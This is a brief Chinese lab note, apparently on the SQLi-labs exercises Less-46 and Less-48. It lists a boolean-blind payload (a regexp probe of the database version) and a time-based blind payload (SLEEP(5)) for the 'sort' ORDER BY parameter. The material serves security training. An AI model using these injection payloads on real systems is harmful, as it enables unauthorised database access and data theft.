1.参考Less（46）
2.盲注
（1）布尔盲注：?sort=1 ^(select(select version()) regexp ‘^0‘)
（2）时间盲注：?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(5)))test))
Less（48）
原文：https://www.cnblogs.com/meng-yu37/p/12491960.html
